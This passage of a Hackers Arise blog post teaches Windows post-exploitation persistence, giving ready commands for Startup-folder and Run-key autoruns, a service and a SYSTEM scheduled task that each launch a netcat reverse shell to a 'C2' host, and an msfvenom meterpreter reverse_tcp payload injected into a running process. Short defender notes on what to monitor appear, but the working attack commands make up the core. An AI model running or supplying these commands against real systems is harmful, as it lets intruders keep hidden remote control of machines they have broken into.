Cons: the loop stops on reboot, logoff, or if the shell/window is closed, so it does not survive reboots.

This method is useful when you already have an interactive session and want a low-effort way to keep trying to reconnect, but it’s a volatile form of persistence. Treat it as temporary rather than reliable long-term access. From a defensive perspective, repeated processes with outbound network connections are a high-value detection signal.

Autostart

Autostart locations are the canonical Windows persistence vectors because the operating system itself will execute items placed there at user logon or system startup. The two typical approaches shown are copying an executable into a Startup folder and creating entries under the Run registry keys. Below are two separate techniques you can use depending on your privileges:

cmd$> copy persistence.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\persistence.exe"

cmd#> copy persistence.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\persistence.exe"

Placing an executable (or a shortcut to it) in a per-user Startup folder causes the Windows shell to launch that item when the specific user signs in. Using the ProgramData (all-users) Startup folder causes the item to be launched for any interactive login. 

Writing a value into HKCU\Software\Microsoft\Windows\CurrentVersion\Run registers a command line that will be executed at logon for the current user and can usually be created without elevated privileges. Writing into HKLM\Software\Microsoft\Windows\CurrentVersion\Run creates a machine-wide autorun and requires administrative rights. 

Pros: survives reboots and will automatically run at each interactive logon (per-user or machine-wide), providing reliable persistence across sessions. 

Cons: startup autoruns have no fine-grained execution interval (they only run at logon) and are a well-known, easily monitored location, making them more likely to be detected and removed.

Services

Using a Windows service to hold a backdoor is more robust than a simple autostart because the Service Control Manager (SCM) will manage the process lifecycle for you. Services can be configured to start at boot, run before any user logs on, run under powerful accounts (LocalSystem, NetworkService, or a specified user), and automatically restart if they crash. Creating a service requires administrative privileges, but once installed it provides a durable, system-integrated persistence mechanism that survives reboots and can recover from failures without manual intervention.

cmd#> sc create persistence binPath= "nc.exe ‐e \windows\system32\cmd.exe C2 9001" start= auto

cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000

cmd#> sc start persistence

The first line uses sc create to register a new service named persistence. The binPath= argument provides the command line the service manager will run when starting the service. In practice this should be a quoted path that includes any required arguments, and many administrators prefer absolute paths to avoid ambiguity. start= auto sets the service start type to automatic so SCM will attempt to launch it during system boot. 

The second line configures the service recovery policy with sc failure: reset= 0 configures the failure count reset interval (here set to zero, meaning the failure count does not automatically reset after a timeout), and actions= restart/60000/restart/60000/restart/60000 tells the SCM to attempt a restart after 60,000 milliseconds (60 seconds) on the first, second and subsequent failures. This allows the service to be automatically relaunched if it crashes or is killed. 

The third line, sc start persistence, instructs SCM to start the service immediately. 

Pros: survives reboot, runs before user logon, can run under powerful system accounts, and can be configured with automatic restart intervals via the service recovery options.

Cons: creating or modifying services requires administrative privileges and is highly visible and auditable (service creation, service starts/stops and related events are logged and commonly monitored by endpoint protection and EDR solutions).

Scheduled Tasks

Scheduled tasks are a convenient and flexible way to maintain access because the Windows Task Scheduler supports a wide variety of triggers, run-as accounts, and recovery behavior. Compared with simple autostart locations, scheduled tasks allow precise control over when and how often a program runs, can run under powerful system accounts, and survive reboots. Creating or modifying scheduled tasks normally requires administrative privileges.

cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe C2 9001"

Here the schtasks /create creates a new scheduled task named persistence. The /ru SYSTEM argument tells Task Scheduler to run the job as the SYSTEM account (no password required for well-known service accounts), which gives the payload high privileges at runtime. The /sc MINUTE /MO 1 options set the schedule type to “minute” with a modifier of 1, meaning the task is scheduled to run every minute. /tn persistence gives the task its name, and /tr "..." specifies the exact command line the task will execute when triggered. Because Task Scheduler runs scheduled jobs independently of an interactive user session, the task will execute even when no one is logged in, and it will persist across reboots until removed.

Pros: survives reboot and provides a tightly controlled, repeatable execution interval (you can schedule per-minute, hourly, daily, on specific events, or create complex triggers), and tasks can be configured to run under high-privilege accounts such as SYSTEM.

Cons: creating or modifying scheduled tasks typically requires administrative privileges and Task Scheduler events are auditable and commonly monitored by enterprise defenses.

In-Memory

In-memory persistence refers to techniques that load malicious code directly into a running process’s memory without writing a persistent binary to disk. The goal is to maintain a live foothold while minimizing on-disk artifacts that antiviruses and file-based scanners typically inspect. A common pattern is to craft a payload that is intended to execute only in RAM and then use some form of process injection (for example, creating a remote thread in a legitimate process, reflective DLL loading, or other in-memory execution primitives) to run that payload inside a benign host process. The technique is often used for short-lived stealthy access, post-exploitation lateral movement, or when the attacker wants to avoid leaving forensic traces on disk.

First you generate a payload with msfvenom:

c2 > msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9007 ‐f raw ‐o meter64.bin StagerRetryCount=999999

And then inject it into a running process:

cmd$> inject_windows.exe PID meter64.bin

Pros: extremely low on-disk footprint and difficult for traditional antivirus to detect, since there is no persistent executable to scan and many memory-only operations generate minimal file or registry artifacts.

Cons: does not survive a reboot and requires a mechanism to get code into a process’s memory (which is often noisy and produces behavioral telemetry that modern endpoint detection and response solutions can flag).

Defenders may monitor for anomalous process behavior such as unexpected parent/child relationships, unusual modules loaded into long-lived system processes, creation of remote threads, or unusual memory protections being changed at runtime.

Summary

We explored different basic Windows persistence options by comparing durability, visibility, and privilege requirements: simple shell loops let you keep retrying a connection from a user shell without elevation but stop at logoff or reboot. Autostart provides reliable logon-time execution and can be per-user or machine-wide depending on privileges. Scheduled tasks give precise, repeatable execution (including SYSTEM) and survive reboots. Services offer the most durable, pre-logon, auto-restarting system-level persistence but require administrative rights and are highly auditable. In-memory techniques avoid on-disk artifacts and are stealthier but do not persist across reboots and often produce behavioral telemetry. The core trade-off is that greater restart resilience and privilege typically mean more detectable forensic signals, defenders should therefore watch for repeated outbound connection patterns, unexpected autoruns, newly created services or scheduled tasks, and anomalous in-memory activity.

In the first part of Advanced Windows Persistence, we will dive into advanced techniques that will leverage the Configs, Debugger, GFlags and WMI.

The post Post Exploitation: Maintaining Persistence in Windows first appeared on Hackers Arise.